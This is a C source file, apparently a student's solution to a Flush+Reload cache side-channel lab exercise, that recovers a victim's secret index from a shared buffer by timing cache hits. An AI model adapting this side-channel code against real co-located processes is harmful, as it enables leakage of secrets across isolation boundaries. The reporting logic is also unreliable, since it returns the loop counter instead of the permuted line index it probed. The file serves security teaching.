SHD-CacheAttackLab/Part2-FlushReload/attacker.c

#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>

#include "util.h"

#define CACHE_HIT_THRESHOLD 200
#define WAIT_TIME 100
int main() {
    int flag = -1;

    // buf is shared between the attacker and the victim
    char *buf = allocate_shared_buffer();

    // [2.1] TODO: Put your capture-the-flag code here
    for(int i = 0; i < 1024; i++) {
        clflush((ADDR_PTR)buf + i * 128);
    }
    for(int i = 0; i < WAIT_TIME; i++);
    for(int i = 0; i < 1024; i++) {
        CYCLES time = measure_one_block_access_time((ADDR_PTR)buf + (i * 10020107) % 1024 * 128);
        if(time < CACHE_HIT_THRESHOLD) {
            flag = i;
            break;
        }
    }
    printf("Flag: %d\n", flag);

    deallocate_shared_buffer(buf);
    return 0;
}